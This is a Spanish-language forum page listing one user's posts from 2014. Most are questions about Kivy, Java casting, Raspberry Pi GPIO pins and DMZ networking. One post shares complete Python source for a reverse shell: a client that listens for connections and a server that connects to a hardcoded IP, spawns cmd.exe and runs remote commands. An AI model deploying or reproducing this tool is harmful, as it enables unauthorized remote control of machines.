Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - $francisco

#181
Python / Re:SMF Incorrect Flood Filter Headers
Agosto 22, 2014, 08:05:10 PM
Creo que cualquier código es de agradecer, una cosa que no entendí, ¿que es la cabecera X-Forwarded-For?
#182
una captura sería prácticamente lo que te he dicho, una foto que viene en una carpeta de kivy, cuando esta iniciando, se inicia la foto que poner cargando, y a los 3 segundos se cierra, voy a ver también si se guarda algún log en el móvil.
#183
no tira ningun error, simplemente la aplicación se cierra, no muestra nada, sale la pantalla de loading pero ningun error.
#184
Muy buenas, he estado compilando unos simples programas de kivy, y tengo algunas dudas, cuando compilo la aplicación como debug la aplicación funciona en mi móvil, pero cuando la compilo en forma release, no me funciona, la release supuestamente es la buena, es la que tengo que utilizar para distribuirla en el play store. Haber si podéis echarme una mano.
#185
Off Topic / Re:Solo una anecdota con una pregunta.
Agosto 10, 2014, 11:41:10 PM
Pues para mi opinión si te gusta el hacking, podrías de vez en cuando ver nuevos exploits y practicar lo de vez en cuando, también podrías contar como haces los exploits, como buscas los bugs de las webs... como un tutorial para ayudar a los que comienzan... es una idea que muchos te lo agradecerían.
#186
Python / Shell reverse compartida
Agosto 10, 2014, 06:57:55 PM
Quiero compartir con todos vosotros una shell reverse que cree hace un año o así, la shell se puede completar, no le añadí para que pudiera cambiar de unidad de disco pero la comparto por si os puede servir.

cliente:

Código: python
#By: HackLoper

from __future__ import print_function
import socket,time,os

integer = 0
RUTE = []

class command:
    def conexion(self):
        while True:
            try:
                self.s = socket.socket()
                print("esperando...")
                self.s.bind(("",6666))
                self.s.listen(1)
                print("[*]---HackLoper---[*]")
                self.sc,self.addr = self.s.accept()
                self.init()
            except:
                print('conexion perdida, reconectando...')
                time.sleep(3)
                continue
                 
    def init(self):
        data = self.sc.recv(9999)
        spl = data.splitlines()
        os.system('cls')
        for i in range(2):
            print (spl[i])
        print('\n')
        data = self.sc.recv(9999)
        if integer == 0:
            RUTE.append(data)
            i = 1
        self.cmd()

    def resp(self,data):
        spl = data.splitlines();
        n = len(spl)
        n = n-1;
        print('\n')
        for i in range(1,n):
            print(spl[i])
        self.cmd()

    def cmd(self):
        print(RUTE[0]+'>',end ='')
        comando = raw_input('')
        if comando == 'cls':
            self.sc.send('cls')
            self.cmpi(comando)
        else:
            self.sc.send(comando)
            data = self.sc.recv(9999)
            self.cmpi(comando,data)

    def cmpi(self,cmmd,data=None):
        if cmmd == 'cd..' or cmmd[0:3] == 'cd ':
            if os.path.exists(data) == True:
                RUTE[0] = data
                print('\n')
                self.cmd();
            else:
                print (data);
                print('\n')
                self.cmd()
        elif data == 'error':
            error = self.sc.recv(9999);
            print(error)
            self.cmd()
        elif cmmd == 'cls':
            os.system('cls')
            self.cmd()
        else:
            self.resp(data)


servidor:

Código: python
#By: HackLoper

import socket,time,subprocess,re

RUTE = [None]
IP = "192.168.0.101"
PORT = 6666

class shell:
    def conexion(self):
        while True:
            try:
                self.s = socket.socket()
                self.s.connect((IP,PORT))
                shell.main()
            except:
                print('esperando...')
                try:
                    client.close()
                    s.close()
                except:
                    continue
                continue
             
    def main(self):
        process = subprocess.Popen('cmd.exe',
                                    shell=True,
                                    stdin=subprocess.PIPE,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE)

        process.stdin.write("")
        o,e=process.communicate()
        process.wait()
        process.stdin.close()
        time.sleep(1)
        self.s.send(o)
        self.rute(o)

    def rute(self,text):
        t = re.search('[?: \\\s\w]+>',text)
        repl = t.group(0).replace('>','')
        RUTE[0] = repl
        self.s.send(repl)
        self.command()

    def command(self):
        cmd = self.s.recv(9999)
        if cmd == 'cls':
            self.command()
        process = subprocess.Popen('cmd.exe /k',
                                    cwd = RUTE[0].decode(),
                                    shell = True,
                                    stdin = subprocess.PIPE,
                                    stdout = subprocess.PIPE,
                                    stderr = subprocess.PIPE)
        process.stdin.write(cmd+'\n')
        o,e=process.communicate()
        process.wait()
        if e == '':
            process.stdin.close()
            self.correct(o,cmd)
        else:
            process.stdin.close()
            if cmd == 'cd..' or cmd[0:3] == 'cd ':
                self.s.send(e)
                print(e)
                self.command()
            else:
                self.s.send('error')
                self.s.send(e)
                self.command()


    def cmpi(self,t):
        dec = t.decode()
        move = dec.replace('>','')
        RUTE[0] = move
        self.s.send(move)
        self.command()

    def correct(self,o,cmd):
        if cmd == 'cd..' or cmd[0:3] == 'cd ':
            split = o.splitlines()
            cont = len(split)-1
            data = split[cont]
            self.cmpi(data)
        else:
            self.s.send(o)
            self.command()
if __name__ == '__main__':
    shell = shell()
    shell.conexion()
#187
Python / Re:Ninja IDE: Un IDE Pensado para Python
Agosto 10, 2014, 06:48:28 PM
Gracias por la info!!!  :)
#188
Dudas y pedidos generales / Raspberry pi GPIO dudas
Agosto 10, 2014, 06:45:28 PM
Muy buenas a todos, aquí vengo con mas dudas sobre la raspberry, por fin me compré una, y estoy trasteandola en mi tiempo libre, y me surgió una duda, que al iniciar me pido un usuario y contraseña, todo muy bien, pero si lo controlo desde mi pc, si se apaga la raspberry no inicia el acceso remoto y tengo que poner el usuario y la contraseña, quería saber si es posible quitar esto al inicio de la raspberry o si alguno comprobó si le dejo acceder a ella al inicio cuando pide autentificarse, por que a mi no me deja, y otra cosilla es sobre algunas cosillas sobre el GPIO que lleva en la placa, aunque no sepa como se llama esto pues si me lo dijieseis no  estaría mal jeje, pues bien tiene varios nombre respectivamente a los numeros.

1- 5v (en rojo es la salida de corriente a 5v)
2- DNC (no se que es y en otro pone gnd "ground")
3- 12C0 SDA (no se que es y hay algunas iguales pero que cambia las 3 ultimas letras)
4- GROUND (0v)
5- GPIO (salida de señal)
6- UART TXD (no se que es)
7- MOSI
8-MISO
9-SCLK
10-CS0
11-CS1
12-TXD
13-RDX

aqui la página de donde saco la información:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Si pudieran explicarme cada una de estas cositas de la raspberry seguro que me ayudarían mucho y algunos interesados en este tema
#189
????? Creo que no entendiste lo que preguntaba, no tiene nada que ver con eso. :)
#190
Muy buenas a todos, he estado pensado en algunas cosas que me crearon muchas dudas, sobre todo cuando hay una conexión DMZ, yo por ejemplo tengo en mi pc un servidor apache y por curiosidad, quise  hacerlo accesible desde la internet con mi ip publica, entonces active mi DMZ con mi ip interna y todo perfecto, con un puerto FORWARD también, pero hay algo que no le encuentro lógica.

Yo utilizo constantemente internet y aplicaciones que requieren conexión a internet, por ejemplo digamos un navegador web como chrome, que hace una petición a una página a través de el puerto https 443, si yo tengo la DMZ activada ¿como sabe a que dirección tiene que ir? la DMZ digamos que es para todos los paquetes entrantes los recibe un pc o cortafuegos como queramos decirle y este ya toma sus decisiones, pero no entiendo por que en conexiones de este tipo pasan directamente al pc correcto, o pongamos otro ejemplo.

Yo utilizo skype, pero skype utiliza sus propios puertos para su comunicación, yo nunca he abierto ningún puerto para esta aplicación en cambio sigue funcionando incluso con la DMZ activada, pero en cambio otros programa como ares y emule es necesario abrir puertos y dirigirlos al pc correcto o poner como DMZ el pc que este utilizando ares o emule.
#191
Dudas y pedidos generales / Re:[JAVA] Duda con código
Agosto 04, 2014, 04:34:04 PM
Entonces estoy un poco confundido, pero si a caso, no se si te distes cuenta que cuando le pasa como parámetro la clase "seg" a través de la variable "otr", la clase seg tiene también un atributo llamado "dia". ¿Aunque lo tenga, no seria accesible?
#192
Dudas y pedidos generales / Re:[JAVA] Duda con código
Agosto 04, 2014, 04:02:49 PM
¿Eso quiere decir que cuando se pasa a un método de una clase un objeto, para poder manejar el objeto tiene que ser de el mismo tipo que en el que está dentro?

¿esto no sería valido?
Código: text
System.out.println(o.dia);


Perdona jeje pero es que vengo de python y me es totalmente distinto todo esto.
#193
Dudas y pedidos generales / Re:[JAVA] Duda con código
Agosto 04, 2014, 02:31:20 PM
Gracias por responder, tu ejemplo si lo entiendo pero lo que no se es porque se pone "Fecha" antes de la variable por ejemplo.

Código: text
y = (int)x;


"y" es donde se va a guardar la conversión de float a int pero

Código: text
Fecha otra = (Fecha)o;


¿porque se pone "Fecha" antes de "otra"?
#194
Buenos días o noches  :) me compré un librito para empezar a ver java, y ya estoy empezando a tener algunas dudas que el libro no explica.

Código: java
package prulibro;
import java.util.Scanner;

public class Prulibro {
    public static class Fecha
{
    int dia = 1;
    int mes = 10;
    int ano = 14;
    public boolean equals(Object o)
    {
        System.out.println(o);
        return (1==1);//Esto es una chapuza que hice al cambiar el código
    }
}
   
        public static class Seg
{
    int dia = 3;
    int mes = 10;
    int ano = 14;
    public boolean equals(Object o)
    {
        Fecha otra = (Fecha)o;//ESTO ES NO SE QUE ES LO QUE SIGNIFICA
        System.out.println(otra.dia);
        return (1==1);
    }
}
    public static void main(String[] args) {
        // TODO code application logic here
        Seg  otr = new Seg();
        Fecha f = new Fecha();
        f.equals(otr);
       
    }
   
}


Bueno la linea que me gustaría que me explicaran es
Código: text
Fecha otra = (Fecha)o;


La linea no me da Error pero no entiendo que tiene que ver "Fecha" con la clase que le paso ni porque después de el "=" dentro de el paréntesis va "Fecha" y después el objeto "o".

gracias por vuestra atención.
#195
creo que el problema está en que páginas como facebook y google no acepta peticiones por http, prueba con una página que tenga https y http por ejemplo tuenti o cualquier otra red social o página web.
#196
Que tal a todos, ya miré muchos tutoriales, muchos pdf´s  pero todavía no se como puede comunicarse con otros lenguajes, por ejemplo con html o cualquier otro, haber si pudieras ayudarme con algunos simples ejemplos que muestre algo muy simple, porque necesito saber su funcionamiento para manejar una api y no logro entenderlo.

gracias de antemano.